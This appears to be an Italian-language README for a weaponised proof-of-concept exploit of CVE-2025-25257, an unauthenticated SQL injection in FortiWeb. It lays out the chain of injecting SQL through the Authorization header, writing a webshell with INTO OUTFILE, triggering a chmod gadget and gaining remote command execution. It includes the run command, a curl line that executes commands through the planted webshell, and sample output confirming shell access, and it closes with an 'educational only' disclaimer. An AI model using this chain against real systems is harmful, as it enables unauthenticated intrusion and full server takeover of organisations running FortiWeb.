
PoC per CVE-2025-25257, una critica SQL injection non autenticata in FortiWeb. Sfrutta SQLi tramite l'header Authorization per scrivere una webshell e ottenere RCE. Nessun login richiesto. Completamente automatizzato.
Iniezione SQL critica → Esecuzione di Webshell
Scoperto e armato da 0xgh057r3c0n
CVE-2025-25257 colpisce i sistemi FortiWeb che espongono l'endpoint /api/fabric/device/status, il quale non sanifica correttamente l'input dell'intestazione Authorization.
Un attaccante può eseguire un'iniezione SQL non autenticata per scrivere una webshell sul server ed eseguire comandi da remoto.
SQL Injection ➜ SQL INTO OUTFILE ➜ Python chmod Gadget ➜ Trigger ➜ Webshell RCE
GET /api/fabric/device/status
Header: Authorization: Bearer ';<SQLi>
INTO OUTFILE per rilasciare shellpython3 CVE-2025-25257.py -t https://target-host.com
Poi:
curl -k -H "User-Agent: whoami" https://target-host.com/cgi-bin/x.cgi
requestsInstalla:
pip install requests
[*] Writing Webshell Chunk: #!/bin/sh ...
[>] Exporting Webshell to File...
[*] Writing Chmod Gadget Chunk: import os ...
[>] Triggering chmod via Python Hook...
[*] Executing `id` via Webshell...
uid=33(www-data) gid=33(www-data)
[+] Webshell Ready:
> https://target-host.com/cgi-bin/x.cgi
> Send commands via User-Agent header
| Metrica | Valore |
|---|---|
| Punteggio di Base | 9.8 (CRITICAL) |
| Vettore d'Attacco | Network |
| Privilegi Richiesti | None |
| Interazione dell'Utente |
0xgh057r3c0n 🔗 github.com/0xgh057r3c0n
Questa prova di concetto è solo per scopi educativi e test autorizzati. Utilizzare a proprio rischio. L'autore non è responsabile per un uso improprio.
| None |
| Impatto | High (C/I/A) |